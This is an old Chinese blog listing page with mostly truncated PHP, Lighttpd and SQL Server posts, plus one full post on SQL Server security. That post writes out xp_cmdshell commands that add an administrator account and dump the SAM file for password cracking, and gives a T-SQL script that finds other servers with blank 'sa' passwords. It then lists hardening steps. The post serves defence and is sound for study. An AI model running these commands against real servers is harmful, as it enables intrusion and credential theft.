时 间 记 忆
最 新 评 论
专 题 分 类
最 新 日 志
最 新 留 言
搜 索
用 户 登 录
友 情 连 接
博 客 信 息


 
 
   
 
 
管理讲座笔记
[ 2007-1-20 13:19:00 | By: angy ]
 

一:主管所犯的毛病

1. 拒绝承担个人责任。 下属的错误自己要一力承担。


……
 
 
 
[电脑技巧]php无限分类
[ 2007-1-1 14:52:00 | By: angy ]
 

CODE: [Copy to clipboard]  
<?PHP
/*
CREATE TABLE `category` (
  `categoryID` int(10) unsigned NOT NULL auto_increment,
  `categoryParentID` int(10) unsigned NOT NULL default '0',
  `categoryName` varchar(50) NOT NULL default '',
  KEY `cate_id` (`categoryID`)
) TYPE=MyISAM AUTO_INCREMENT=11 ;
#
# 导出表中的数据 `category`
#


……
 
 
 
PHP中SESSION不能跨页传递问题的解决办法
[ 2006-11-21 20:34:00 | By: angy ]
 

抛开使用session
PHP中SESSION不能跨页传递问题的解决办法

在PHP中使用过SESSION的朋友可能会碰到这么一个问题,SESSION变量不能跨页传递。这令我苦恼了好些日子,最终通过查资料思考并解决了这个问题。我认为,出现这个问题的原因有以下几点:
1、客户端禁用了
2、浏览器出现问题,暂时无法存取
3、php.ini中的session.use_trans_sid = 0或者编译时没有打开--enable-trans-sid选项


……
 
 
 
关于SQL SERVER的一些安全问题
[ 2006-11-21 19:34:00 | By: angy ]
 

目前关于NT服务器的入侵,有很多种方法,如对IIS的漏洞进行利用,但
大家不知道注意到没有,其实通过与NT服务器相关联的SQL数据库服务器
的例子也是很有比例的一种手段。大家可以参看下面的一个新闻报道:
http://www.vnunet.com/News/1110938
Herbless入侵破坏的一些站点,如legoland.co.uk站点就是通过SQL服务器
的入侵而获得对系统的控制权而破坏的。所以对SQL服务器的保护是必不可
少的,这里我整理了一些漏洞供大家来参考,见笑,见笑。

----------------------------------------------------------------
我们先来看看SQL服务程序支持的网络协议库:

----------------------------------------------------------------
|          SQL Server Network Protocol Libraries               |
----------------------------------------------------------------
|Protocol library|       可能存在的漏洞            | 是否加密  |
----------------------------------------------------------------
|Named pipes     | --使用NT SMB端口(TCP139,UDP137, | 否        |
|(有名管道)      |   138)来进行通信,这些可以被通 |           |
|                |   的防火墙控制,但如果内部网络可|           |
|                |   随意访问的话也是一个不小的缺陷|           |
|                | --用户名字,密码和数据没有进行加|           |
|                |   传输,任何人可以通过SNIFFER来 |           |
|                |   进行数据捕获。                |           |
----------------------------------------------------------------
|IP Sockets      | --默认状态下开1433口,你可以使用|  否       |
|                |   扫描器来查看这个端口。        |           |
|                |   可以被SNIFFER截获数据。       |           |
----------------------------------------------------------------
|Multi-Protocol  |  --客户端需要支持NT RPCs;在不同 |  是       |
|                |    种类的环境中可能引起问题。   |           |
|                |  --默认情况下使用TCP随机端口,但|           |
|                |    防火墙进行端口图固定实现(参 |           |
|                |    看KB Q164667)。             |           |
|                |  --需要注意加密选项是否选择,默 |           |
|                |    是不选择此选项的。           |           |
----------------------------------------------------------------
|NWLink          |  --存在被SNIFFER截获数据的危险  |  否       |
----------------------------------------------------------------
|AppleTalk (ADSP)|  --存在被SNIFFER截获数据的危险  |  否       |
----------------------------------------------------------------
|Banyan Vines    |  --存在被SNIFFER截获数据的危险  |  否       |
----------------------------------------------------------------

一般的推荐使用是:如果你能在Integrated (NT) Security上使用Named Pipes 或者
Multi-protocol,那你就使用这些协议库,如果可能,尽量使用Multi-protocol
和使能加密选项。如果你上面几个不能使用,那就使用IP Sockets协议,并改变
其默认的端口并随时检查系统保证无任何SNIFFER存在。并且,考虑使用一WEB服
务或者COM组件作为应用程序的business object layer,并在中间层和SQL服务程
序中使用安全通道(secure channel)。有不少第三方的产品可以加密这方面的通信。

-----------------------------------------------------------------------
下面再讲一下SQL SERVER的各种安全模式和它们怎样进行工作?

安全模式定义了一些SQL SERVER是怎样认证要使用它们服务的用户,请看下面
SQL Server 6.5的安全模式和在SQL Server 7.0做了改变的一些描述和区别:

-------------------------------------------------------------------
|安全模式 |   SQL Server 6.5        |     SQL Server 7.0改变地方  |
-------------------------------------------------------------------
|Standard | --登陆定义在SQL SERVER里| --单独的标准模式在SQL SERVER|
|标准模式 |   而且给定密码。        |   没有使用了。              |
|         | --SQL SERVER的登录帐户与|                             |
|         |   WINDOW NT分开         |                             |
-------------------------------------------------------------------
|Integrated |-使用安全管理器SQL的帐 | --在这里成为"Windows NT only"|
|综合模式   | 户。                  |   模式。                     |
|           |-用户在连接到SQL SERVER| --只工作在NT系统下,在WIN9X不|
|           | 不需要特定分开LOGIN和 |   支持。                     |
|           | 密码。                |                              |
|           |-密码从不存储在应用程序| --可以直接结合到NT的组中便于 |
|           | 中,并不以明文在网络中|   管理,(注意有一BUILTIN组在|
|           | 传输。                |   本地系统上产生).           |
|           |-SQL SERVER可以使用NT的|                              |
|           | 的认证方式来认证用户并|                              |
|           | 可以使用如帐户过期等。|                              |
|           |-需要Named Pipe或Multi-|                              |
|           | Protocol库。          |                              |
--------------------------------------------------------------------
|Mixed      |-提供上面的方式的一些特| --成为SQL SERVER和WINDOWS NT |
|混合性方式 | 征但有后退的东西是客户|   模式。                     |
|           | 端不能建立可信任连接。| --尽量使用WINDOW NT ONLY模式 |                              |
--------------------------------------------------------------------

登录只不过是第一步,一旦用户登录,用户必须访问独立的数据库,要使上面
的成立,就必须在sysusers表里存在一表目给用户用的每个数据库。所以安全
请你注意在你的数据库中是否存在"guest"帐户和保证不会在你不注意的时候给
某些人访问你的数据库。

详细的大家可以参看微软的站点:

http://www.microsoft.com/technet/SQL/Technote/secure.asp


---------------------------------------------------------------------

关于SQL SERVER存在的一些安全问题:

存在"sa"帐户,密码就为空,而且这个密码是SQL SERVER安全模块成员,我们就
可以通过xp_cmdshell stored procedure(扩展存储过程)来进行命
令操作,如:

Xp_cmdshell "net user testuser UgotHacked /ADD"
然后在:
Xp_cmdshell "net localgroup Administrators testuser /ADD"

这样攻击者就成功的在SQL SERVER上增加了一个用户。

当然远程的话,一般需要有1433口开着,通过MYSQL 客户端进行连接。

当然你也可以使用:

Xp_cmdshell "rdisk /s-"

的方法,这样就在\winnt\repair目录里重建了信息而不提示用户。然后
在SAM备份以后,攻击者可以建立一个SMB连接到共享或者建立一个连接:

Xp_cmdshell "net share getsam=c:\winnt\repair"

利用共享获得这个文件,然后在使用l0phtcrack来跑吧。如果SMB端口被防火墙
控制了,或者关闭了,攻击者也可以拷贝sam._文件到WEB目录进行匿名浏览器
下载。如果人家没有开IIS,你何不用tftp呢:).

OK,通过这台被控制的SQL SERVER服务器,攻击者可以通过它来查找网络内部
其他机器来扩大战果,下面是一个SQL脚本来列举网络中其他SQL SERVER存在
空帐户'sa'的示例:

-----------------------------------------------------------------------

-- Create temp table to store enumerated servers

SET NOCOUNT ON

CREATE TABLE #temp (shelldump varchar(255))

INSERT #temp EXEC xp_cmdshell 'osql -L'

DECLARE @current_server varchar(255), @conn_string varchar(255)

DECLARE sql_cursor CURSOR FOR SELECT * FROM #temp

OPEN sql_cursor FETCH NEXT FROM sql_cursor INTO @current_server

-- Loop through potential targets and check for null sa accounts

-- If target is vulnerable, version information will be displayed

WHILE @@FETCH_STATUS = 0

BEGIN

  If @current_server <> 'Servers:'

  BEGIN

   SELECT @current_server = rtrim(ltrim(@current_server))  

   SELECT @conn_string = 'exec xp_cmdshell ''osql -S' + @current_server + ' -Usa -P -Q "select @@version"'''

    PRINT 'Attempting connection to server: ' + @current_server

    EXECUTE (@conn_string)

    PRINT '====================================================================='

  END

  FETCH NEXT FROM sql_cursor INTO @current_server

END

--Clean up

CLOSE sql_cursor

DEALLOCATE sql_cursor

DROP TABLE #TEMP

--------------------------------------------------

 
Top
 
 回复人: spark_li(晕忽忽(恶人谷:通讯连长)) ( ) 信誉:145  2002-11-21 09:31:08Z  得分:0 
 
 
?
2、xp_proxieddata (xprepl.dll)

    该存储过程使用4个参数。给第二个参数传递超长的字符串会覆盖异常处
    理程序所保存的返回地址。
    
3、xp_SetSQLSecurity (xpstar.dll)

    该存储过程使用4个参数。给第三个参数传递超长的字符串会使整个SQL
    Server进程立即终止。
    
4、xp_displayparamstmt(xprepl.dll)
   xp_enumresultset(xprepl.dll)
   xp_showcolv (xprepl.dll)
   xp_updatecolvbm (xprepl.dll)
  
   给第一个参数传递超长的串将导致非法操作并覆盖异常处理程序所保存的返
   回地址。

这里告诉大家一个技巧性的东西,如果想要知道这些扩展存储过程调用了那写dll
文件,你可以如下操作,如:

select o.name,c.text from dbo.syscomments c, dbo.sysobjects o where c.id = o.id and o.name = 'xp_peekqueue'

这样你就可以获得调用这个扩展存储过程的DLL了,如果微软没有出补丁的话,你就
暂时把这个DLL文件改名吧,当然有些DLL文件调用几个扩展存储过程,不能盲目更改,
否则导致其他的也不能使用,你需要使用下面的操作来知道DLL调用那些扩展存储过程:

select o.name,c.text from dbo.syscomments c, dbo.sysobjects o where c.id = o.id and c.text = 'xpqueue.dll'

幸好微软出了补丁,你可以到下面的地方找到,不用一个一个找DLL程序了,呵呵:

http://support.microsoft.com/support/sql/xp_security.asp

这个漏洞@stake发现并提供演示的测试代码,大家可在这里找到:

http://www.atstake.com/research/advisories/2000/sqladv2-poc.c

--------------------------------------------------------------------------

OK,当然SQL SERVER也有一些其他漏洞,相对轻微些,如ISS发现的管理员
LOGIN ID存储在注册表中,其加密的方法比较简单,很容易获得,详细情况
请看:http://xforce.iss.net/alerts/advise45.php3。大家可以到其他
地方找找。
  
---------------------------------------------------------------------

一些对SQL SERVER系统的安全建议:

    --保证打上最新的安全补丁,如下:
    Windows NT 4.0 - Service Pack 6a

    SQL Server 6.5 - Service Pack 5a

    SQL Server 7.0 - Service Pack 2. (Various hotfixes - check
    http://www.microsoft.com/download)

    SQL Server 2000 - Hotfix S80233i.exe (Intel)
    当然大家要密切注意微软的安全公告。

    --不要在IP sockets使用端口1433,如果你使用Multi-protocol也请
    修改端口。

    --不要把'sa'密码嵌入到任意应用程序如VB/DELPHI apps里,或者一
    global.asa文件里,因为"sa"是SQL Server 的一个默认密码,其权限
    类似与WINDOWS NT系统里的管理员帐户,而且密码为空。

    --改变'sa'和'probe'帐户的密码。

    --保证SQL SERVER的错误记录在NTFS系统上。

    --如果你不需要xp_cmdshell( use sp_dropextendedproc 'xp_cmdshell' )
    就不要把xp_cmdshell extended stored proc(扩展存储过程) 留在服务
    器上。在任何isql窗口中输入:
    use master
    sp_dropextendedproc 'xp_cmdshell'

    --丢弃不需要OLE自动存储过程,当然Enterprise Manager中的某些特征也
    会不能使用,这些过程包括如下:

    Sp_OACreate     Sp_OADestroy

    Sp_OAGetErrorInfo     Sp_OAGetProperty

    Sp_OAMethod     Sp_OASetProperty

    Sp_OAStop

    --去掉不需要的注册表访问过程,如下:

    Xp_regaddmultistring

    Xp_regdeletekey

    Xp_regdelete

    Xp_regenums

    Xp_regread

    Xp_regremovemultistring

    Xp_regwrite

    --去掉其他系统存储过程,如果你认为你觉得你还有威胁,当然
    要小心Drop这些过程,你可以在测试机器上测试,保证你正常的
    系统能完成工作,这些过程包括:

    sp_bindsession    sp_cursor    sp_cursorclose
    sp_cursorfetch  sp_cursoropen   sp_cursoroption
    sp_getbindtoken sp_GetMBCSCharLen sp_IsMBCSLeadByte
    sp_OACreate     sp_OADestroy    sp_OAGetErrorInfo
    sp_OAGetProperty sp_OAMethod    sp_OASetProperty
    sp_OAStop    sp_replcmds    sp_replcounters
    sp_repldone    sp_replflush    sp_replstatus
    sp_repltrans  sp_sdidebug    xp_availablemedia
    xp_cmdshell    xp_deletemail    xp_dirtree    
    xp_dropwebtask    xp_dsninfo    xp_enumdsn
    xp_enumerrorlogs xp_enumgroups  xp_enumqueuedtasks
    xp_eventlog    xp_findnextmsg    xp_fixeddrives
    xp_getfiledetails xp_getnetname xp_grantlogin
    xp_logevent    xp_loginconfig    xp_logininfo
    xp_makewebtask    xp_msver     xp_perfend
    xp_perfmonitor    xp_perfsample    xp_perfstart
    xp_readerrorlog    xp_readmail    xp_revokelogin
    xp_runwebtask    xp_schedulersignal xp_sendmail
    xp_servicecontrol xp_snmp_getstate xp_snmp_raisetrap
    xp_sprintf    xp_sqlinventory    xp_sqlregister
    xp_sqltrace    xp_sscanf    xp_startmail
    xp_stopmail    xp_subdirs    xp_unc_to_drive

    --去掉数据库中guest用户。
    --关闭SQL MAIL兼容能力,防止传递一些木马病毒等。
    --设置一个任务处理来定时运行下面的程序:

    findstr /C:"Login Failed" \mssql7\log\*.*'

    再重定向到其他文件或者MAIL到管理员信箱。

    --经常检查带有空密码的帐户:

    Use master
    Select name,
          Password
    from syslogins
    where password is null
    order by name

    --检查所有不需要'sa'权限的存储过程和扩展存储过程访问权限:
    
    Use master
    Select sysobjects.name
    From sysobjects, sysprotects
    Where sysprotects.uid = 0
    AND xtype IN ('X','P')
    AND sysobjects.id = sysprotects.id
    Order by name


    --保证SQL SERVER的传输信息在隔离的网络段中。
 

 

 
 
 
[基础知识]完全手動編譯安裝 Lighttpd
[ 2006-11-21 11:46:00 | By: angy ]
 

需要軟體
Lighttpd http://www.lighttpd.net/download/
PHP4 http://www.php.net/downloads.php
EAccelerator http://sourceforge.net/project/showfiles.php?group_id=122249


我目前的安裝測試環境如下
Fedora core 3
MySQL 4.0.15a
CPU 塞陽 1.2G , RAM 384MB

由於是手動編譯安裝
因此請下載 tar.gz 格式的 source package
下載完之後 請放到 /usr/local/src


……
 
 
 
[电脑技巧]保护 SQL Server 数据库的十大绝招
[ 2006-11-20 22:31:00 | By: angy ]
 

1 2 下一页

  1.安装最新的服务包

  为了提高服务器安全性,最有效的一个方法就是升级到 SQL Server 2000 Service Pack 3a (SP3a)。

  另外,您还应该安装所有已发布的安全更新。

  2.使用 Microsoft 基线安全性分析器(MBSA)来评估服务器的安全性

  MBSA 是一个扫描多种 Microsoft 产品的不安全配置的工具,包括 SQL Server 和 Microsoft SQL Server 2000 Desktop Engine (MSDE 2000)。它可以在本地运行,也可以通过网络运行。该工具针对下面问题对 SQL Server 安装进行检测:

  1) 过多的sysadmin固定服务器角色成员。


……
 
 
 
[基础知识]保护SQL Server的十个步骤
[ 2006-11-20 18:59:00 | By: angy ]
 

这里介绍了为提高 SQL Server 安装的安全性,您可以实施的十件事情:

  1.安装最新的服务包。

  为了提高服务器安全性,最有效的一个方法就是升级到 SQL Server 2000 Service Pack 3a (SP3a)。

  另外,您还应该安装所有已发布的安全更新。

  2.使用 Microsoft 基线安全性分析器(MBSA)来评估服务器的安全性。

  MBSA 是一个扫描多种 Microsoft 产品的不安全配置的工具,包括 SQL Server 和 Microsoft SQL Server 2000 Desktop Engine (MSDE 2000)。它可以在本地运行,也可以通过网络运行。该工具针对下面问题对 SQL Server 安装进行检测:


……
 
 
 
[电脑技巧]保护SQL2000安全的十个技巧
[ 2006-11-20 18:48:00 | By: angy ]
 

1.安装最新的服务包

为了提高服务器安全性,最有效的一个方法就是升级到 SQL Server 2000 Service Pack 3a (SP3a)。要下载 SP3a,请访问SQL Server 2000 SP3a 页面。

另外,您还应该安装所有已发布的安全更新。要订阅新安全更新的通知,请访问产品安全通知页面。

2.使用 Microsoft 基线安全性分析器(MBSA)来评估服务器的安全性

MBSA 是一个扫描多种 Microsoft 产品的不安全配置的工具,包括 SQL Server 和 Microsoft SQL Server 2000 Desktop Engine (MSDE 2000)。它可以在本地运行,也可以通过网络运行。该工具针对下面问题对 SQL Server 安装进行检测:


……
 
 
 
[电脑技巧]SQL查询语句精华使用简要
[ 2006-11-12 16:21:00 | By: angy ]
 

一、 简单查询
  简单的Transact-SQL查询只包括选择列表、FROM子句和WHERE子句。它们分别说明所查询列、查询的
  表或视图、以及搜索条件等。
  例如,下面的语句查询testtable表中姓名为“张三”的nickname字段和email字段。
  SELECT nickname,email
  FROM testtable
  WHERE name='张三'

  (一) 选择列表
  选择列表(select_list)指出所查询列,它可以是一组列名列表、星号、表达式、变量(包括局部变
  量和全局变量)等构成。

  1、选择所有列
  例如,下面语句显示testtable表中所有列的数据:
  SELECT *
  FROM testtable


……
 
 
 
[电脑技巧]SQLServer端口更改后的数据库连接方式
[ 2006-11-12 16:20:00 | By: angy ]
 

  SQL Server端口,我们可以通过"服务器端网络试用工具"和"客户端实用工具"
来设定,设定方法是:

  分别使用"服务器端网络试用工具"和"客户端实用工具"
  设置"常规选项"->"启用的协议"->"Tcp/Ip"->"属性"中的默认端口,假设为1455

  然后测试你的端口是否起效,可以使用
  telnet sql服务器地址 1455
  看看能不能telnet通,如果可以,那就可以进行下面的测试

  以往的书写中都没有带端口号,所以比较好写,但是现在更改了端口号了,很多朋友就不是很清楚该如何写连接语句了.下面的数据库连接语句就是更改端口后的形式:


……
 
 
首页 上一页 下一页 尾页 页次:1/2页  10篇日志/页 转到:
 
     
   
     
Powered by cqjj.